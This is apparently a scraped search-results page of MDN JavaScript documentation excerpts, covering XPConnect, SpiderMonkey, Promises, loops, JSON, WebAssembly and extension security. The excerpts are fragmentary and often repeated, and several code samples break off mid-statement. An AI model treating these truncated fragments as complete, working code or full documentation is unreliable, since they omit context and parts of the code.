JavaScript. Here are a few of the properties of obj's prototype: obj.__proto__ parentNode (getter Function) src (getter and setter Functions) getElementsByTagName (Function) TEXT_NODE (Number property, constant) ... All those properties come from the interfaces that the C++ image object (nsHTMLImageElement) implements and chooses to expose to XPConnect through the object's class info. One of th...
...If such objects are provided, they are not guaranteed by a...
...ame HTMLImageElement earlier, the recursion will stop right there. Ok, so that's how class constructor and their prototype properties are set up, what about the actual prototype chain of a XPConnected DOM object? The beauty of this code is that the prototype property of a class constructor is the real XPConnect prototype for that class. When XPConnect wraps a DOM object (i.e. creates a XPConnect
JavaScript wrapper for a DOM object), XPConnect will call the scriptable helper method nsDOMClassInfo::PostCreate() which will make sure the prototype chain of the wrapper JSObject is properly set up. In this call, the nsDOMClassInfo code just needs to resolve the name of the class on the global object, and the prototype will be set up by the resolving code (nsWindowSH::GlobalResolve()). This is also done o...
JavaScript Tips
e if it succeeds. XPConnect knows all about tearoffs and modifies the object that you QueryInterface or instanceof to cache all its known interfaces. When passing an object to an XPCOM method it is helpful if the object you pass is an XPCOM object, so that the C++ method access a C++ object. However, this is not always necessary or desirable. ...
...nstanceof to cache all its known interfaces. When passing an object to an XPCOM method it is helpful if the object you pass is an XPCOM object, so that the C++ method access a C++ object. However, this is not always necessary or desirable. For instance the offline observer declared above is a
JavaScript object that is registered with an XPCOM object, so that the call back from XPCOM executes the
JavaScript method. ...
...e C++ method access a C++ object. However, this is not always necessary or desirable. For instance the offline observer declared above is a
JavaScript object that is registered with an XPCOM object, so that the call back from XPCOM executes the
JavaScript method. Some XPCOM methods expect an object that implements several interfaces thus requiring you to write a QueryInterface method. ...
...ings; these vary from element to element. ...
SpiderMonkey: The Mozilla JavaScript runtime
SpiderMonkey is Mozilla's
JavaScript engine written in C and C++. It is used in various Mozilla products, including Firefox, and is available under the MPL2. Standalone source code releases can be found on the Releases page. Guides Building SpiderMonkey Build Documentation How to get SpiderMonkey source code, build it, and run the test suite. Using SpiderMonkey Introduction to the
JavaScript shell Documentation of the command-line
JavaScript shell, js. JSAPI User Guide This guide provides an overview of SpiderMonkey and describes how you can embed engine calls in your applications to make them
JavaScript-aware. JSAPI cookbook Shows the JSAPI translation of some commonly used
JavaScript expressions and statements. GC Rooting Guide Guide on how to write code compatible with the...
...t shell, js. JSAPI User Guide This guide provides an overview of SpiderMonkey and describes how you can embed engine calls in your applications to make them
JavaScript-aware. JSAPI cookbook Shows the JSAPI translation of some commonly used
JavaScript expressions and statements. GC Rooting Guide Guide on how to write code compatible with the Generational GC in SpiderMonkey. How to embed the
JavaScript engine An older tutorial about embedding SpiderMonkey. Hacking on SpiderMonkey New to SpiderMonkey A guide to hacking on SpiderMonkey. Setting up CDT to work on SpiderMonkey How to configure Eclipse to work on the SpiderMonkey code. Running Automated
JavaScript Tests How to run the
JavaScript test suites. Creating
JavaScript tests How to add tests to the
JavaScript test suites. ...
... Tips, tricks and philosophy Future Directions Future directions for functionality, design, and coding practices. SpiderMonkey Internals A design overview and a file-by-file walkthrough of the implementation. Bytecode Reference SpiderMonkey bytecode reference. ...
...e directions for functionality, design, and coding practices. SpiderMonkey Internals A design overview and a file-by-file walkthrough of the implementation. Bytecode Reference SpiderMonkey bytecode reference. ...
AudioContext.createJavaScriptNode() - Web APIs
It controls the frequency of callbacks asking for a buffer refill. Smaller sizes allow for lower latency and higher for better overall quality. numInputChannels The number of input channels in the audio stream. ...
...It controls the frequency of callbacks asking for a buffer refill. Smaller sizes allow for lower latency and higher for better overall quality. numInputChannels The number of input channels in the audio stream. ...
...., one of: 256, 512, 1024, 2048, 4096, 8192, or 16384. It controls the frequency of callbacks asking for a buffer refill. Smaller sizes allow for lower latency and higher for better overall quality. numInputChannels The number of input channels in the audio stream. numOutputChannels The number of output channels in the audio stream. ...
...gher for better overall quality. numInputChannels The number of input channels in the audio stream. numOutputChannels The number of output channels in the audio stream. ...
Keyboard-navigable JavaScript widgets - Accessibility
Using tabindex By default, when people use the tab key to browse a webpage, only interactive elements (like links, form controls) get focused. With the tabindex global attribute, authors can make other elements focusable, too. When set to 0, the element becomes focusable by keyboard and script. ...
... Using tabindex By default, when people use the tab key to browse a webpage, only interactive elements (like links, form controls) get focused. With the tabindex global attribute, authors can make other elements focusable, too. When set to 0, the element becomes focusable by keyboard and script. ...
...ndex. Elements with a positive tabindex are put before the default interactive elements on the page, which means page authors will have to set (and maintain) tabindex values for all focusable elements on the page whenever they use one or more positive values for tabindex. The following table describes tabindex behavior in modern browsers: tabindex attribute Focusable with mouse or
JavaScript via element.focus() Tab navigable not present Follows the platform convention of the element (yes for form controls, links, etc.). Follows the platform convention of the element. Negative (i.e. tabindex="-1") Yes No; author must focus the element with focus() in response to arrow or other key presses. Zero (i.e. tabindex="0") Yes In tab order relati...
...w should be removed from the tab order (tabindex="-1"). Users should be able to navigate the descendent elements using arrow keys. (For a full description of the keyboard support that is normally expected for typical widgets, see the WAI-ARIA Authoring Practices.) The example below shows this technique used with a nested menu control. Once keyboard focus lands on the containing <ul> element, the
JavaScript developer must programmatically manage focus and respond to arrow keys. For techniques for managing focus within widgets, see "Managing focus inside groups" below. Example 2: A menu control using tabindex to control keyboard access <ul id="mb1" tabindex="0"> <li id="mb1_menu1" tabindex="-1"> Font <ul id="fontMenu" title="Font" tabindex="-1"> <li id="sans-serif" tabindex="-1">Sans-se...
Concurrency model and the event loop - JavaScript
Visual representation Stack Function calls form a stack of frames. function foo(b) { let a = 10 return a + b + 11 } function bar(x) { let y = 3 return foo(x * y) } console.log(bar(7)) //returns 42 When calling bar, a first frame is created containing bar's arguments and local variables. ...
... Visual representation Stack Function calls form a stack of frames. function foo(b) { let a = 10 return a + b + 11 } function bar(x) { let y = 3 return foo(x * y) } console.log(bar(7)) //returns 42 When calling bar, a first frame is created containing bar's arguments and local variables. ...
...les. When bar calls foo, a second frame is created and pushed on top of the first one containing foo's arguments and local variables. When foo returns, the top frame element is popped out of the stack (leaving only bar's call frame). When bar returns, the stack is empty. Heap Objects are allocated in a heap which is just a name to denote a large (mostly unstructured) region of memory. Queue A
JavaScript runtime uses a message queue, which is a list of messages to be processed. Each message has an associated function which gets called in order to handle the message. At some point during the event loop, the runtime starts handling the messages on the queue, starting with the oldest one. To do so, the message is removed from the queue and its corresponding function is called with the message as an...
...m call back" Several runtimes communicating together A web worker or a cross-origin iframe has its own stack, heap, and message queue. Two distinct runtimes can only communicate through sending messages via the postMessage method. This method adds a message to the other runtime if the latter listens to message events. Never blocking A very interesting property of the event loop model is that
JavaScript, unlike a lot of other languages, never blocks. Handling I/O is typically performed via events and callbacks, so when the application is waiting for an IndexedDB query to return or an XHR request to return, it can still process other things like user input. Legacy exceptions exist like alert or synchronous XHR, but it is considered a good practice to avoid them. Beware: exceptions to the excepti...
Loops and iteration - JavaScript
You can think of a loop as a computerized version of the game where you tell someone to take X steps in one direction, then Y steps in another. For example, the idea "Go five steps to the east" could be expressed this way as a loop: for (let step = 0; step < 5; step++) { // Runs 5 times, with values of step 0 through 4. ...
...different kinds of loops, but they all essentially do the same thing: they repeat an action some number of times. (Note that it's possible that number could be zero!) The various loop mechanisms offer different ways to determine the start and end points of the loop. There are various situations that are more easily served by one type of loop over the others. The statements for loops provided in
JavaScript are: for statement do...while statement while statement labeled statement break statement continue statement for...in statement for...of statement for statement A for loop repeats until a specified condition evaluates to false. The
JavaScript for loop is similar to the Java and C for loop. A for statement looks as follows: for ([initialExpression]; [conditionExpression]; [increment...
...A label provides a statement with an identifier that lets you refer to it elsewhere in your program. For example, you can use a label to identify a loop, and then use the break or continue statements to indicate whether a program should interrupt the loop or continue its execution. The syntax of the labeled statement looks like the following: label : statement The value of label may be any
JavaScript identifier that is not a reserved word. The statement that you identify with a label may be any statement. Example In this example, the label markLoop identifies a while loop. markLoop: while (theMark === true) { doSomething(); } break statement Use the break statement to terminate a loop, switch, or in conjunction with a labeled statement. When you use break without a label, it termin...
... checkj: while (j > 4) { console.log(j); j -= 1; if ((j % 2) === 0) { continue checkj; } console.log(j + ' is odd.'); } console.log('i = ' + i); console.log('j = ' + j); } for...in statement The for...in statement iterates a specified variable over all the enumerable properties of an object. For each distinct property,
JavaScript executes the specified statements. A for...in statement looks as follows: for (variable in object) statement Example The following function takes as its argument an object and the object's name. It then iterates over all the object's properties and returns a string that lists the property names and their values. function dump_props(obj, obj_name) { let result = ''; for (let i in obj) {...
Text formatting - JavaScript
It is a set of "elements" of 16-bit unsigned integer values (UTF-16 code units). Each element in the String occupies a position in the String. The first element is at index 0, the next at index 1, and so on. The length of a String is the number of elements in it. You can create strings using string literals or string objects. CAUTION: if you edit this page, do not include any characters above U+FFFF, until MDN bug 857438 is fixed ( https://bugzilla.mozilla.org/show_bug.cgi?id=857438 ). ...
...rototype.codePointAt(). '\u{2F804}' // the same with simple Unicode escapes '\uD87E\uDC04' String objects The String object is a wrapper around the string primitive data type. const foo = new String('foo'); // Creates a String object console.log(foo); // Displays: [String: 'foo'] typeof foo; // Returns 'object' You can call any of the methods of the String object on a string literal value--
JavaScript automatically converts the string literal to a temporary String object, calls the method, then discards the temporary String object. You can also use the String.length property with a string literal. You should use string literals unless you specifically need to use a String object, because String objects can have counterintuitive behavior. For example: const firstString = '2 + 2'; // Creates a...
... Internationalization The Intl object is the namespace for the ECMAScript Internationalization API, which provides language sensitive string comparison, number formatting, and date and time formatting. The constructors for Collator, NumberFormat, and DateTimeFormat objects are properties of the Intl object. Date and time formatting The DateTimeFormat object is useful for formatting ...
... << PreviousNext >> ...
Using Promises - JavaScript
rthand for: const promise = createAudioFileAsync(audioSettings); promise.then(successCallback, failureCallback); We call this an asynchronous function call. This convention has several advantages. We will explore each one. Guarantees Unlike old-fashioned passed-in callbacks, a promise comes with some guarantees: Callbacks will never be called before the completion of the current run of the
JavaScript event loop. Callbacks added with then(), as above, will be called even after the success or failure of the asynchronous operation. Multiple callbacks may be added by calling then() several times. Each callback is executed one after another, in the order in which they were inserted. One of the great things about using promises is chaining. Chaining A common need is to execute two or more asy...
...That default action usually involves logging the error to console, and this is indeed the case for Node. Ideally, of course, you should examine the rejected promises to make sure none of them are actual code bugs before just discarding these events. Creating a Promise around an old callback API A Promise can be created f...
... This can be useful at times. Promise.all() and Promise.race() are two composition tools for running asynchronous operations in parallel. ...
...ult (i.e. result3) */ Timing To avoid surprises, functions passed to then() will never be called synchronously, even with an already-resolved promise: Promise.resolve().then(() => console.log(2)); console.log(1); // 1, 2 Instead of running immediately, the passed-in function is put on a microtask queue, which means it runs later when the queue is emptied at the end of the current run of the
JavaScript event loop, i.e. pretty soon: const wait = ms => new Promise(resolve => setTimeout(resolve, ms)); wait().then(() => console.log(4)); Promise.resolve().then(() => console.log(2)).then(() => console.log(3)); console.log(1); // 1, 2, 3, 4 Nesting Simple promise chains are best kept flat without nesting, as nesting can be a result of careless composition. See common mistakes. Nesting is a contr...
SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead - JavaScript
With source maps, the debugger can map the code being executed to the original source files. ...
...With source maps, the debugger can map the code being executed to the original source files. ...
... //@ to indicate sourceURL pragmas is deprecated. Use //# instead" occurs when there is a deprecated source map syntax in a
JavaScript source. Message Warning: SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead Warning: SyntaxError: Using //@ to indicate sourceMappingURL pragmas is deprecated. Use //# instead Error type A warning that a SyntaxError occurred.
JavaScript execution won't be halted. What went wrong? There is a deprecated source map syntax in a
JavaScript source.
JavaScript sources are often combined and minified to make delivering them from the server more efficient. With source maps, the debugger can map the code being executed to the original source files. The source map specification changed the syntax due to a conflict with IE whenever it w...
...n IE is a little known feature, but it broke source maps with jQuery and other libraries. Examples Deprecated syntax Syntax with the "@" sign is deprecated. //@ sourceMappingURL=http://example.com/path/to/your/sourcemap.map Standard syntax Use the "#" sign instead. //# sourceMappingURL=http://example.com/path/to/your/sourcemap.map Or, alternatively, you can set a SourceMap header to your
JavaScript file to avoid having a comment at all: SourceMap: /path/to/file.js.map ...
SyntaxError: missing ) after argument list - JavaScript
In that case, it should be terminated by a closing parenthesis. ...
...ght be a typo, a missing operator, or an unescaped string. Message SyntaxError: Expected ')' (Edge) SyntaxError: missing ) after argument list (Firefox) Error type SyntaxError. What went wrong? There is an error with how a function is called. This might be a typo, a missing operator, or an unescaped string, for example. Examples Because there is no "+" operator to concatenate the string,
JavaScript expects the argument for the log function to be just "PI: ". In that case, it should be terminated by a closing parenthesis. console.log('PI: ' Math.PI); // SyntaxError: missing ) after argument list You can correct the log call by adding the "+" operator: console.log('PI: ' + Math.PI); // "PI: 3.141592653589793" Unterminated strings console.log('"Java" + "Script" = \"' + 'Java' + 'Script\"...
...PI: ". In that case, it should be terminated by a closing parenthesis. ...
...va" + "Script" = \"' + 'Java' + 'Script\"); // SyntaxError: missing ) after argument list Here
JavaScript thinks that you meant to have ); inside the string and ignores it, and it ends up not knowing that you meant the ); to end the function console.log. ...
Functions - JavaScript
Generally speaking, a function is a "subprogram" that can be called by code external (or internal in the case of recursion) to the function. Like the program itself, a function is composed of a sequence of statements called the function body. Values can be passed to a function, and the function will return a value. In
JavaScript, functions are first-class objects, because they can have properties and methods just like any other object. What distinguishes them from other objects is that functions can be called. In brief, they are Function objects. For more examples and explanations, see also the
JavaScript guide about functions. Description Every function in
JavaScript is a Function object. See Function for information on properties and methods of Function objects. To return a value other than ...
...ctions is not recommended since it needs the function body as a string which may prevent some JS engine optimizations and can also cause other problems. As all other objects, Function objects can be created using the new operator: new Function (arg1, arg2, ... argN, functionBody) arg1, arg2, ... argN Zero or more names to be used by the function as formal parameters. Each must be a proper
JavaScript identifier. functionBody A string containing the
JavaScript statements comprising the function body. Invoking the Function constructor as a function (without using the new operator) has the same effect as invoking it as a constructor. The GeneratorFunction constructor Note: GeneratorFunction is not a global object, but could be obtained from generator function instance (see GeneratorFun...
... a string which may prevent some JS engine optimizations and can also cause other problems. As all other objects, GeneratorFunction objects can be created using the new operator: new GeneratorFunction (arg1, arg2, ... argN, functionBody) arg1, arg2, ... argN Zero or more names to be used by the function as formal argument names. Each must be a string that conforms to the rules for a valid
JavaScript identifier or a list of such strings separated with a comma; for example "x", "theValue", or "a,b". functionBody A string containing the
JavaScript statements comprising the function definition. Invoking the GeneratorFunction constructor as a function (without using the new operator) has the same effect as invoking it as a constructor. Function parameters Default parameters Default func...
... is assigned to. They have no relation to each other. A function declaration also creates a variable with the same name as the function name. Thus, unlike those defined by function expressions, functions defined by function declarations can be accessed by their name in the scope they were defined in: A function defined by 'new Function' does not have a function name. However, in the SpiderMonkey
JavaScript engine, the serialized form of the function shows as if it has the name "anonymous". For example, alert(new Function()) outputs: function anonymous() { } Since the function actually does not have a name, anonymous is not a variable that can be accessed within the function. For example, the following would result in an error: var foo = new Function("alert(anonymous);"); foo(); Unlike functio...
Date - JavaScript
This date and time is the same as the UNIX epoch, which is the predominant base value for computer-recorded date and time values. ...
...ngle moment in time in a platform-independent format. Date objects contain a Number that represents milliseconds since 1 January 1970 UTC. TC39 is working on Temporal, a new Date/Time API. Read more about it on the Igalia blog and fill out the survey. It needs real-world feedback from web developers, but is not yet ready for production use! Description The ECMAScript epoch and timestamps A
JavaScript date is fundamentally specified as the number of milliseconds that have elapsed since midnight on January 1, 1970, UTC. This date and time is the same as the UNIX epoch, which is the predominant base value for computer-recorded date and time values. Note: It's important to keep in mind that while the time value at the heart of a Date object is UTC, the basic methods to fetch the date and time or...
....prototype.toTimeString() Returns the "time" portion of the Date as a human-readable string. Date.prototype.toUTCString() Converts a date to a string using the UTC timezone. Date.prototype.valueOf() Returns the primitive value of a Date object. Overrides the Object.prototype.valueOf() method. Examples Several ways to create a Date object The following examples show several ways to create
JavaScript dates: Note: Parsing of date strings with the Date constructor (and Date.parse, they are equivalent) is strongly discouraged due to browser differences and inconsistencies. let today = new Date() let birthday = new Date('December 17, 1995 03:24:00') let birthday = new Date('1995-12-17T03:24:00') let birthday = new Date(1995, 11, 17) // the month is 0-indexed let birthday = new Date...
...Year() methods should be used. let date = new Date(98, 1) // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT) // Deprecated method; 98 maps to 1998 here as well date.setYear(98) // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT) date.setFullYear(98) // Sat Feb 01 0098 00:00:00 GMT+0000 (BST) Calculating elapsed time The following examples show how to determine the elapsed time between two
JavaScript dates in milliseconds. Due to the differing lengths of days (due to daylight saving changeover), months, and years, expressing elapsed time in units greater than hours, minutes, and seconds requires addressing a number of issues, and should be thoroughly researched before being attempted. // Using Date objects let start = Date.now() // The event to time goes here: doSomethingForALongTime() let...
FinalizationRegistry - JavaScript
d. FinalizationRegistry.prototype.unregister() Unregisters an object from the registry. Avoid where possible Correct use of FinalizationRegistry takes careful thought, and it's best avoided if possible. It's also important to avoid relying on any specific behaviors not guaranteed by the specification. When, how, and whether garbage collection occurs is down to the implementation of any given
JavaScript engine. Any behavior you observe in one engine may be different in another engine, in another version of the same engine, or even in a slightly different situation with the same version of the same engine. Garbage collection is a hard problem that
JavaScript engine implementers are constantly refining and improving their solutions to. Here are some specific points that the authors of the WeakRef...
...xpected, or not at all. Sources of variability include: One object might be garbage-collected much sooner than another object, even if they become unreachable at the same time, e.g., due to generational collection. Garbage collection work can be split up over time using incremental and concurrent techniques. Various runtime heuristics can be used to balance memory usage, responsiveness. The
JavaScript engine may hold references to things which look like they are unreachable (e.g., in closures, or inline caches). Different
JavaScript engines may do these things differently, or the same engine may change its algorithms across versions. Complex factors may lead to objects being held alive for unexpected amounts of time, such as use with certain APIs. Notes on cleanup callbacks Some notes on...
...lex factors may lead to objects being held alive for unexpected amounts of time, such as use with certain APIs. Notes on cleanup callbacks Some notes on cleanup callbacks: Developers shouldn't rely on cleanup callbacks for essential program logic. Cleanup callbacks may be useful for reducing memory usage across the course of a program, but are unlikely to be useful otherwise. A conforming
JavaScript implementation, even one that does garbage collection, is not required to call cleanup callbacks. When and whether it does so is entirely down to the implementation of the
JavaScript engine. When a registered object is reclaimed, any cleanup callbacks for it may be called then, or some time later, or not at all. It's likely that major implementations will call cleanup callbacks at some point dur...
...imed, any cleanup callbacks for it may be called then, or some time later, or not at all. It's likely that major implementations will call cleanup callbacks at some point during execution, but those calls may be substantially after the related object was reclaimed. There are also situations where even implementations that normally call cleanup callbacks are unlikely to call them: When the
JavaScript program shuts down entirely (for instance, closing a tab in a browser). When the FinalizationRegistry instance itself is no longer reachable by
JavaScript code. Examples Creating a new registry You create the registry passing in the callback: const registry = new FinalizationRegistry(heldValue => { // .... }); Registering objects for cleanup Then you register any objects you wan...
JSON.parse() - JavaScript
An optional reviver function can be provided to perform a transformation on the resulting object before it is returned. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax JSON.parse(text[, reviver]) Parameters text The string to parse as JSON. See the JSON object for a description of JSON syntax. reviver Optional If a function, this prescribes how the value originally produced by parsing is transformed, before being returned. ...
... var j; function walk(holder, key) { // The walk method is used to recursively walk the resulting structure so // that modifications can be made. var k; var v; var value = holder[key]; if (value && typeof value === "object") { for (k in value) { ...
... value[k] = v; } else { delete value[k]; } } } } return reviver.call(holder, key, value); } // Parsing happens in four stages. In the first stage, we replace certain // Unicode characters with escape sequences.
JavaScript handles many characters // incorrectly, either silently deleting them, or treating them as line endings. text = String(text); rx_dangerous.lastIndex = 0; if (rx_dangerous.test(text)) { text = text.replace(rx_dangerous, function(a) { return ( "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4...
...e or "]" or // "," or ":" or "{" or "}". If that is so, then the text is safe for eval. if ( rx_one.test( text .replace(rx_two, "@") .replace(rx_three, "]") .replace(rx_four, "") ) ) { // In the third stage we use the eval function to compile the text into a //
JavaScript structure. The "{" operator is subject to a syntactic ambiguity // in
JavaScript: it can begin a block or an object literal. We wrap the text // in parens to eliminate the ambiguity. j = eval("(" + text + ")"); // In the optional fourth stage, we recursively walk the new structure, passing // each name/value pair to a reviver function ...
JSON - JavaScript
The JSON object contains methods for parsing
JavaScript Object Notation (JSON) and converting values to JSON. It can't be called or constructed, and aside from its two method properties, it has no interesting functionality of its own. Description
JavaScript and JSON differences JSON is a syntax for serializing objects, arrays, numbers, strings, booleans, and null. It is based upon
JavaScript syntax but is distinct from it: some
JavaScript is not JSON. Objects and Arrays Property names must be double-quoted strings; trailing commas are forbidden. Numbers Leading zeros are prohibited. A decimal point must be followed by at least one digit. NaN and Infinity are unsupported. Any JSON text is a valid
JavaScript expression... ...
...ns, and null. It is based upon
JavaScript syntax but is distinct from it: some
JavaScript is not JSON. Objects and Arrays Property names must be double-quoted strings; trailing commas are forbidden. Numbers Leading zeros are prohibited. A decimal point must be followed by at least one digit. NaN and Infinity are unsupported. Any JSON text is a valid
JavaScript expression... ...But only in
JavaScript engines that have implemented the proposal to make all JSON text valid ECMA-262. In engines that haven't implemented the proposal, U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR are allowed in string literals and property keys in JSON; but their use in these features in
JavaScript string literals is a SyntaxError. Consider this example where JSON.parse() parses the string as JSON and eval...
...mented the proposal to make all JSON text valid ECMA-262. In engines that haven't implemented the proposal, U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR are allowed in string literals and property keys in JSON; but their use in these features in
JavaScript string literals is a SyntaxError. Consider this example where JSON.parse() parses the string as JSON and eval executes the string as
JavaScript: let code = '"\u2028\u2029"' JSON.parse(code) // evaluates to "\u2028\u2029" in all engines eval(code) // throws a SyntaxError in old engines Other differences include allowing only double-quoted strings and having no provisions for undefined or comments. For those who wish to use a more human-friendly configuration format based on JSON, there is JSON5, used by the Babel compiler, and ...
...r). The tab character (U+0009), carriage return (U+000D), line feed (U+000A), and space (U+0020) characters are the only valid whitespace characters. Static methods JSON.parse(text[, reviver]) Parse the string text as JSON, optionally transform the produced value and its properties, and return the value. Any violations of the JSON syntax, including those pertaining to the differences between
JavaScript and JSON, cause a SyntaxError to be thrown. The reviver option allows for interpreting what the replacer has used to stand in for other datatypes. JSON.stringify(value[, replacer[, space]]) Return a JSON string corresponding to the specified value, optionally including only certain properties or replacing property values in a user-defined manner. By default, all instances of undefined are repla...
WebAssembly.Memory() constructor - JavaScript
Syntax new WebAssembly.Memory(memoryDescriptor); Parameters memoryDescriptor An object that can contain the following members: initial The initial size of the WebAssembly Memory, in units of WebAssembly pages. ...
... Syntax new WebAssembly.Memory(memoryDescriptor); Parameters memoryDescriptor An object that can contain the following members: initial The initial size of the WebAssembly Memory, in units of WebAssembly pages. ...
...he default is false. Note: A WebAssembly page has a constant size of 65,536 bytes, i.e., 64KiB. Exceptions If memoryDescriptor is not of type object, a TypeError is thrown. If maximum is specified and is smaller than initial, a RangeError is thrown. Examples Creating a new Memory instance There are two ways to get a WebAssembly.Memory object. The first way is to construct it from
JavaScript. The following example creates a new WebAssembly Memory instance with an initial size of 10 pages (640KiB), and a maximum size of 100 pages (6.4MiB). Its buffer property will return an ArrayBuffer. var memory = new WebAssembly.Memory({initial:10, maximum:100}); The second way to get a WebAssembly.Memory object is to have it exported by a WebAssembly module. The following example (see memory.htm...
...nsole.log(sum); }); Creating a shared memory By default, WebAssembly memories are unshared. You can create a shared memory by passing shared: true in the constructor's initialization object: let memory = new WebAssembly.Memory({initial:10, maximum:100, shared:true}); This memory's buffer property will return a SharedArrayBuffer. Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'Memory' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFirefox fo...
with - JavaScript
ow for details. The with statement extends the scope chain for a statement. Syntax with (expression) statement expression Adds the given expression to the scope chain used when evaluating the statement. The parentheses around the expression are required. statement Any statement. To execute multiple statements, use a block statement ({ ... }) to group those statements. Description
JavaScript looks up an unqualified name by searching a scope chain associated with the execution context of the script or function containing that unqualified name. The 'with' statement adds the given object to the head of this scope chain during the evaluation of its statement body. If an unqualified name used in the body matches a property in the scope chain, then the name is bound to the property and the...
...nt forces the specified object to be searched first for all name lookups. Therefore all identifiers that aren't members of the specified object will be found more slowly in a 'with' block. Where performance is important, 'with' should only be used to encompass code blocks that access members of the specified object. Ambiguity contra Contra: The with statement makes it hard for a human reader or
JavaScript compiler to decide whether an unqualified name will be found along the scope chain, and if so, in which object. So given this example: function f(x, o) { with (o) { console.log(x); } } Only when f is called is x either found or not, and if found, either in o or (if no such property exists) in f's activation object, where x names the first formal argument. If you forget to define x in th...
...h something other than a plain object. Consider this example: function f(foo, values) { with (foo) { console.log(values); } } If you call f([1,2,3], obj) in an ECMAScript 5 environment, then the values reference inside the with statement will resolve to obj. However, ECMAScript 2015 introduces a values property on Array.prototype (so that it will be available on every array). So, in a
JavaScript environment that supports ECMAScript 2015, the values reference inside the with statement could resolve to [1,2,3].values. However, in this particular example, Array.prototype has been defined with values in its Symbol.unscopables object. If it were not, one can see how this would be a difficult issue to debug. Examples Using with The following with statement specifies that the Math object is...
...ar example, Array.prototype has been defined with values in its Symbol.unscopables object. If it were not, one can see how this would be a difficult issue to debug. Examples Using with The following with statement specifies that the Math object is the default object. The statements following the with statement refer to the PI property and the cos and sin methods, without specifying an object.
JavaScript assumes the Math object for these references. var a, x, y; var r = 10; with (Math) { a = PI * r * r; x = r * cos(PI); y = r * sin(PI / 2); } Specifications Specification ECMAScript (ECMA-262)The definition of 'with statement' in that specification. ...
Introduction to using XPath in JavaScript - XPath
Mozilla implements a fair amount of the DOM 3 XPath, which means that XPath expressions can be run against both HTML and XML documents. The main interface to using XPath is the evaluate function of the document object. document.evaluate This method evaluates XPath expressions against an XML based document (including HTML documents), and returns a XPathResult object, which can be a single node or a set of nodes. The existing documentation for this method is located at document.evaluate, but it is rather sparse for our needs at the moment; a more comprehensive examination will be given below. ...
...ectively of the XPathResult object. ...
..., if the returned result type is a node-set then it will only be an UNORDERED_NODE_ITERATOR_TYPE. To determine that type after evaluation, we use the resultType property of the XPathResult object. The constant values of this property are defined in the appendix. None Yet =====Any_Type Example===== <pre> </pre> Examples Within an HTML Document The following code is intended to be placed in any
JavaScript fragment within or linked to the HTML document against which the XPath expression is to be evaluated. To extract all the <h2> heading elements in an HTML document using XPath, the xpathExpression is simply '//h2'. Where, // is the Recursive Descent Operator that matches elements with the nodeName h2 anywhere in the document tree. The full code for this is: link to introductory xpath doc var hea...
... var req = new XMLHttpRequest(); req.open("GET", "chrome://yourextension/content/peopleDB.xml", false); req.send(null); var xmlDoc = req.responseXML; var nsResolver = xmlDoc.createNSResolver( xmlDoc.ownerDocument == null ? xmlDoc.documentElement : xmlDoc.ownerDocument.documentElement); var personIterator = xmlDoc.evaluate('//person', xmlDoc, nsResolv...
JavaScript Debugger Service - Archive of obsolete content
Obsolete since Gecko 33 (Firefox 33 / Thunderbird 33 / SeaMonkey 2.30) This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. In Firefox versions prior to Gecko 33 (Firefox 33 / Thunderbird 33 / SeaMonkey 2.30), the
JavaScript Debugger Service (or simply JSD) used to be an XPCOM component that allows the tracking of
JavaScript while it was being executed in the browser. However, JSD has been removed in favor of the Debugger API. See the tracking bug bug 800200 for more details. Snippets Acquiring the service We acquire the service by calling the XPCOM object. var jsd = Components.classes["@mozilla.org/js/jsd/debugger-service;1"] .getService(Components.interfaces.jsdIDebuggerServ...
...Note that onError is called for every exception. jsd.errorHook = { onError: function(message, fileName, lineNo, colNo, flags, errnum, exc) { dump(message + "@" + fileName + "@" + lineNo + "@" + colNo + "@" + errnum + "\n"); // check message type var jsdIErrorHook = Components.interfaces.jsdIErrorHook; var messageType; if (flags & jsdIErrorHook.REPORT_...
...ist. ...
Downloading JSON and JavaScript in extensions - Archive of obsolete content
A common practice found in many extensions is using XMLHttpRequest (or some other mechanism) to download
JavaScript or JSON (they are different) from a remote website. Once the content has been downloaded, the extension authors proceed to use eval() to decode the string content into
JavaScript objects. This practice is dangerous and will not, in fact, pass an AMO review. So the extension will not be allowed to move out of the AMO sandbox. The practice is dangerous because the decoded
JavaScript has full chrome privileges and could perform some nasty actions. How could the
JavaScript an extension downloads perform nasty actions? Fairly easy if the webserver where the
JavaScript is hosted were to be hijacked or compromised. It happens to the best of us. AMO takes the threat very seriously. ...
...d news is there are several ways to workaround the problem. Downloading JSON If the extension is downloading JSON, then the developer should be using one of the JSON decoding methods discussed here and not using eval() at all. JSON is about state and does not allow functions to be decoded. The JSON decoding methods available to extension developers protect the extension from malicious JSON and
JavaScript. Downloading state from a remote webserver using JSON is becoming extremely popular. Use the JSON decoders, not eval()! Downloading
JavaScript Of course there are times when
JavaScript code modules are downloaded and injected into the extension. This usually happens because the extension is trying to keep some of its code fresh and dynamic, and the developers don't want to create a new version ...
...is becoming extremely popular. Use the JSON decoders, not eval()! Downloading
JavaScript Of course there are times when
JavaScript code modules are downloaded and injected into the extension. This usually happens because the extension is trying to keep some of its code fresh and dynamic, and the developers don't want to create a new version of the extension for each script change. In this case,
JavaScript sandboxing should be used to isolate the downloaded
JavaScript from the rest of the extension, and host application. Sandboxing is done using Components.utils.evalInSandbox(). The
JavaScript code is added to the sandbox along with any "safe" objects the
JavaScript needs to interact. Sandboxing is not without its dangers and developers should read the sandboxing page carefully to make sure untrus...
JavaScript Client API - Archive of obsolete content
This API is available in Mozilla-based products that use Sync, such as Firefox desktop. This document is somewhat outdated, and the API isn't well-supported for use from add-ons; tread carefully. The best, and most up-to-date, reference to Sync's internal APIs is the source code. ...
